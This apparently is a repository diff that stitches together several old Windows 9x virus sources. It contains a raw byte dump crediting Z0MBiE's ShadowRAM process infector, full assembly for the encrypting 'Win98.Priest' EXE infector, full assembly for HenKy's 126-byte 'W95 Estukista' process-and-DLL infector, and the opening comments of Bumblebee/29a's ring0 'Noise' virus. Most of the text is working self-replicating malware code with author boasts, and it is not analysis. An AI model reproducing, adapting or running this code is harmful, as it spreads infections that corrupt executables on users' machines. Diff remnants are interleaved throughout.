db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,495 @@
; Win98.Priest
.386
.model flat
extrn ExitProcess:PROC
KER32 equ 0bff70000h
Limit equ 0000h
addname equ 0004h
addfun equ 0008h
addord equ 000Ch
create equ 0010h
close equ 0014h
rfile equ 0018h
ffind equ 001ch
nfind equ 0020h
white equ 0024h
fpoin equ 0028h
getw equ 002ch
gets equ 0030h
getc equ 0034h
srchc equ 0038h
getp equ 003ch
shand equ 0040h
fhand equ 0044h
reads equ 0048h
OLDEDI equ 004ch
chkif equ 0050h
chkdi equ 0054h
WICHI equ 0058h
exew equ 005ch
DATAA equ 0200h
heads equ 0300h
.code
Start_Virus:
Call Delta_Offset
Delta_Offset:
Pop Ebp
Sub Ebp,Offset Delta_Offset
pushad
KEY_CODE:
mov EAX,00h
LEA eSI,[VIRUS_BODY+EBP]
mov ecx,End_Virus - VIRUS_BODY -4
KEYCODE:
XOR DWORD ptr [esi],eax
add esi,1
xchg al,ah
ror eax,1
loop KEYCODE
VIRUS_BODY:
popad
push eax
mov eax,[OLDIP+ebp]
add eax,400000h
push eax
call Scan_DATA
mov EDI,ESI
add ESI,6
cmp word ptr [esi],0
je R_IP
xor ecx,ecx
mov cx,[esi]
add ESI,0f2h
add ESI,24h
add edi,0f8h
CHk_se:
mov eax,[esi]
and eax,0c0000000h
cmp eax,0c0000000h
jne Next_Se
mov eax,[edi+8h]
mov ebx,511
add eax,ebx
xor edx,edx
inc ebx
div ebx
mul ebx
sub eax,[edi+10h]
cmp eax,700h+(W_ENC_END - W_ENC)
jge OK_SE
Next_Se:
add esi,28h
add edi,28h
loop CHk_se
JMP R_IP
OK_SE:
mov esi,[edi+0ch]
add esi,[edi+10h]
add esi,400000h
mov ebp,ESI
xor eax,eax
mov esi,KER32+3ch
lodsw
add eax,KER32
cmp dword ptr [eax],00004550h
jne R_IP
mov esi,[eax+78h]
add esi,24
add esi,KER32
lodsd
add eax,KER32
mov [ebp+Limit],eax
lodsd
add eax,KER32
mov [ebp+addfun],eax
lodsd
add eax,KER32
mov [ebp+addname],eax
lodsd
add eax,KER32
mov [ebp+addord],eax
pop eax
pop ebx
push ebx
push eax
mov esi,ebx
add esi,offset gp - Start_Virus
mov ebx,esi
mov edi,[ebp+addname]
mov edi,[edi]
add edi,KER32
xor ecx,ecx
call FIND_SRC
shl ecx,1
mov esi,[ebp+addord]
add esi,ecx
xor eax,eax
mov ax,word ptr [esi]
shl eax,2
mov esi,[ebp+addfun]
add esi,eax
mov edi,[esi]
add edi,KER32
mov [getp+ebp],edi
mov ebx,create
pop eax
pop edi
push edi
push eax
add edi,offset cf - Start_Virus
FIND_FUN:
push edi
push KER32
call [getp+ebp]
mov [ebx+ebp],eax
add ebx,4
cmp ebx,getp
je OK_FIND_FILE
mov al,0
repne scasb
jmp FIND_FUN
OK_FIND_FILE:
lea eax,[ebp+exew]
push eax
push 100h - 58h
call [getc+ebp]
or eax,eax
je CHG_DIR
OK_EXE:
lea esi,[ebp+DATAA]
push esi
lea edi,[ebp+exew]
push edi
scan_dir:
cmp byte ptr [edi],00h
je ok_make_exe
add edi,1
jmp scan_dir
ok_make_exe:
mov al,''
stosb
mov dword ptr [ebp+WICHI],edi
mov ax,'.*'
stosw
mov eax,'EXE'
stosd
call [ebp+ffind]
mov [ebp+shand],eax
cmp eax,-1
je R_IP
mov eax,0
open_file:
cmp byte ptr [ebp+DATAA+2ch+eax],'v'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'n'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'V'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],'N'
je NEXT_FILE
cmp byte ptr [ebp+DATAA+2ch+eax],0
je open_file_start
add eax,1
jmp open_file
open_file_start:
mov edi,dword ptr [ebp+WICHI]
mov ecx,20
lea esi,[ebp+DATAA+2ch]
repz movsb
push 0
push 0
push 3
push 0
push 0
push 0c0000000h
lea eax,[ebp+exew]
push eax
call [ebp+create]
mov [ebp+fhand],eax
cmp eax,-1
je File_Close
mov ecx,400h
lea edx,[ebp+heads]
lea eax,[ebp+reads]
push 0
push eax
push ecx
push edx
push dword ptr [ebp+fhand]
call [ebp+rfile]
cmp eax,0
je File_Close
cmp word ptr [ebp+heads],'ZM'
jne File_Close
xor eax,eax
lea esi,[ebp+heads+3ch]
lodsw
add eax,ebp
add eax,heads
mov esi,eax
lea ebx,[ebp+heads+400h]
cmp eax,ebx
jg File_Close
cmp word ptr [eax],'EP'
jne File_Close
cmp dword ptr [eax+34h],400000h
jne File_Close
cmp word ptr [ebp+heads+12h],'^^'
je File_Close
cmp word ptr [esi+6],6
jg File_Close
xor ecx,ecx
mov edi,esi
mov cx,word ptr [esi+6]
add edi,0f8h
CHK_DATA:
add edi,24h
mov eax,dword ptr [edi]
and eax,0c0000000h
cmp eax,0c0000000h
je OK_INFECT
add edi,4h
loop CHK_DATA
jmp File_Close
OK_INFECT:
mov eax,[ebp+DATAA+20h]
call F_SEEK
mov edi,[esi+28h]
pop ebx
pop eax
push eax
push ebx
add eax,offset OLDIP - Start_Virus
mov dword ptr [eax],edi
mov eax,offset End_Virus - Start_Virus
mov ecx,[esi+3ch]
add eax,ecx
xor edx,edx
div ecx
mul ecx
add dword ptr [esi+50h],eax
mov ecx,eax
pop eax
pop ebx
mov edx,ebx
push ebx
push eax
push ecx
push ecx
mov ecx,End_Virus - Start_Virus
pushad
push edx
add edx,offset W_ENC - Start_Virus
mov esi,edx
lea ebp,[ebp+heads]
add ebp,400h
mov edi,ebp
push edi
mov cx,offset W_ENC_END - W_ENC
repz movsb
pop edi
jmp edi
r_body:
popad
pop ecx
sub ecx,offset End_Virus - Start_Virus
mov edx,400000h
call fwrite
mov eax,[ebp+DATAA+20h]
mov ecx,[esi+3ch]
mov edx,0
div ecx
push edx
push eax
mov edi,esi
mov ax,word ptr [esi+6]
sub eax,1
mov ecx,28h
mul ecx
add eax,0f8h
add edi,eax
xor edx,edx
mov eax,[edi+14h]
mov ecx,[esi+3ch]
div ecx
pop edx
sub edx,eax
push edx
mov eax,[edi+10h]
sub eax,1
add eax,ecx
xor edx,edx
div ecx
mov ebx,eax
pop eax
sub eax,ebx
mul ecx
pop edx
add eax,edx
add dword ptr [esi+50h],eax
mov ebx,[edi+0ch]
add ebx,[edi+10h]
add ebx,eax
mov [esi+28h],ebx
pop ebx
add ebx,eax
add [edi+8h],ebx
add [edi+10h],ebx
mov [edi+24h],0c0000040h
mov word ptr [ebp+heads+12h],'^^'
mov eax,0
call F_SEEK
lea edx,[ebp+heads]
mov ecx,400h
call fwrite
inc dword ptr chkif[ebp]
File_Close:
push dword ptr [ebp+fhand]
call [ebp+close]
cmp dword ptr chkif[ebp],6
je CHG_DIR
NEXT_FILE:
lea eax,[ebp+DATAA]
push eax
push dword ptr [ebp+shand]
call [ebp+nfind]
cmp eax,0
je CHG_DIR
jmp open_file
CHG_DIR:
push dword ptr [shand+ebp]
call [ebp+srchc]
cmp dword ptr chkif[ebp],6
je R_IP
cmp dword ptr chkdi[ebp],1
jg CHG_DIR_2
add dword ptr chkdi[ebp],2
push 100h-58h
lea eax,[ebp+exew]
push eax
call [ebp+getw]
or eax,eax
je CHG_DIR_2
jmp OK_EXE
CHG_DIR_2:
cmp dword ptr chkdi[ebp],2
jg R_IP
add dword ptr chkdi[ebp],1
push 100h-58h
lea eax,[ebp+exew]
push eax
call [ebp+gets]
or eax,eax
je R_IP
jmp OK_EXE
Scan_DATA:
mov esi,400000h
mov cx,600h
Scan_PE:
cmp dword ptr [esi],00004550h
je R_CO
inc esi
loop Scan_PE
R_IP:
pop eax
pop ebx
jmp eax
R_CO:
ret
FIND_SRC:
mov esi,ebx
X_M:
cmpsb
jne FIND_SRC_2
cmp byte ptr [edi],0
je R_CO
jmp X_M
FIND_SRC_2:
inc cx
cmp cx,[ebp+Limit]
jge NOT_SRC
add dword ptr [ebp+addname],4
mov edi,[ebp+addname]
mov edi,[edi]
add edi,KER32
jmp FIND_SRC
NOT_SRC:
pop esi
jmp R_IP
F_SEEK:
push 0
push 0
push eax
push dword ptr [ebp+fhand]
call [ebp+fpoin]
ret
W_ENC:
in al,40h
xchg al,ah
in al,40h
add eax,edi
add edi,offset ENCRY_E - W_ENC +1
mov dword ptr [edi],eax
pop edx
add edx,offset KEY_CODE - Start_Virus +1
mov dword ptr [edx],eax
popad
pushad
mov esi,edx
add esi,offset VIRUS_BODY - Start_Virus
mov ecx,offset End_Virus - VIRUS_BODY -4
call ENCRY_E
popad
pushad
call fwrite
popad
pushad
mov esi,edx
add esi,offset VIRUS_BODY - Start_Virus
mov ecx,offset End_Virus - VIRUS_BODY -4
call ENCRY_E
popad
pushad
add edx,offset r_body - Start_Virus
jmp edx
ENCRY_E:
mov eax,00h
ENCRY:
xor dword ptr [esi],eax
xchg al,ah
ror eax,1
inc esi
loop ENCRY
ret
fwrite:
push 0
lea eax,[ebp+reads]
push eax
push ecx
push edx
push dword ptr [ebp+fhand]
call [ebp+white]
ret
W_ENC_END:
cf db 'CreateFileA',0
cl db '_lclose',0
rf db 'ReadFile',0
ff db 'FindFirstFileA',0
fn db 'FindNextFileA',0
wf db 'WriteFile',0
sf db 'SetFilePointer',0
gw db 'GetWindowsDirectoryA',0
gs db 'GetSystemDirectoryA',0
gc db 'GetCurrentDirectoryA',0
fc db 'FindClose',0
gp db 'GetProcAddress',0
vn db 'Win98.Priest'
db 'SVS/COREA/MOV'
OLDIP dd F_END - 400000h
End_Virus:
F_END:
push 0
call ExitProcess
end Start_Virus

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,231 @@
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
;
;-AUTHOR: HenKy
;
;-MAIL: HenKy_@latinmail.com
;
;-ORIGIN: SPAIN
;
; VIRUS_SIZE = 126 BYTES!!!!
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
; (NOT TESTED UNDER ME)
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
; THE BFF712B9h ADDRESS IS THE CALL VINT21
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ÿÿÿÿ
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57  C:\W
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H  D
; ....
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ×<  PE L
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01  •79 à 
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00  " ¨ P
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @  @ @
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00   
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00  <20> 
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00   
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00  
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT Ô
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00  
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ÌR 
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0 
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 À 
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ À.idata
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @  Ä
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
; ....
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00  È
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ À.bss
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P  P
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ À.rsrc
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00     š ä
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P À.data
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00  ¸
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ À
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @   àb<>ÿÿÿÿ
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb<>ðb<>  <20>
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00  @ ×+
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b<>\b<> lb<>
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41  C:\WINPROG\A
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ÌÌÌ
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´  NE Œ
; ....
.586P
PMMX ; WORF... ... JEJEJE
.MODEL FLAT
LOCALS
EXTRN ExitProcess:PROC
MIX_SIZ EQU (FILE_END - MEGAMIX)
MACROSIZE MACRO
DB MIX_SIZ/00100 mod 10 + "0"
DB MIX_SIZ/00010 mod 10 + "0"
DB MIX_SIZ/00001 mod 10 + "0"
ENDM
.DATA
DB 0
DB 'SIZE = '
MACROSIZE
.CODE
MEGAMIX:
; EAX: EIP
; ESI: BUFFER
VINT21:
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
DB 'H' ; HenKy ;P
XCHG EDI, EAX ; EDI: DELTA
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
;EDX: POINTER TO FNAME
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
;JMP KAA
MOV ECX,28000 ; LIMIT
PUSHAD
AMIMELASUDA:
POPAD
PORK:
INC EDX
CMP WORD PTR [EDX],':C'
JE KAA
LOOP PORK
WARNING:
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
RET
KAA:
PUSHAD
MOV AX, 3D02h ; open
CALL [EDI]
JC AMIMELASUDA
XCHG EBX, EAX
MOV EDX,ESI
XOR ECX,ECX
MOV CH,4H
MOV AH, 3Fh ;read
CALL [EDI]
MOV EAX, [EDX+3Ch]
ADD EAX,EDX
MOV EDI,EAX
PUSH 32
POP ECX
DEPOTA:
INC EDI
CMP BYTE PTR [EDI],'B'; HEHEHEHE
JE GOSTRO
JMP DEPOTA
GOSTRO:
INC EDI
PUSH EDI
MOV ESI,EBP
REP MOVSD
MOV ESI,EDI
POP EDI
SUB EDI,EDX
XCHG DWORD PTR [EAX+28H],EDI
CMP DI,1024
JB CLOZ
ADD EDI,[EAX+34H]
XCHG DWORD PTR [ESI-MONGORE],EDI
PUSH EBP
POP EDI
XOR EAX,EAX
PUSHAD
MOV AH, 42h
CDQ
CALL [EDI]
POPAD
MOV CH,4H
MOV AH,40H ; write
CALL [EDI]
CLOZ:
MOV AH,3EH ; close
CALL [EDI]
JMP AMIMELASUDA
FILE_END:
DW 0 ;-P
MONGORE EQU 95 ; OLD_EIP
PUSH 0
CALL ExitProcess
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
END MEGAMIX

View File

@ -0,0 +1,276 @@
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . I started to code an i-worm and i wanted to make something like a
; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
; The name is due the little payload it has... that does realy noise!
; That's my first ring0 virus. I don't like codin ring0, but here it is.
; That's a research spezimen. Don't expect the ultimate ring0 virus...
; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
;
; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk.
;
; ÚÄÄÄÄÄÄÄÄÄÄ¿
; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÀÄÄÄÄÄÄÄÄÄÄÙ
; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
; only for win9x, not nt not w2k).
; . It infect in similar way like MiniR3 does. Uses free space in the
; PE header. That's a cavity virus.
; . All the data is INSIDE the code. Well... copyright is not inside :)
; . It infects PE files in the user buffer when a write call is done.
; That makes this virus not very efficient spreading.
; . It has a kewl sound payload. Makes echo with internal speaker for
; all disk operations ;)
;
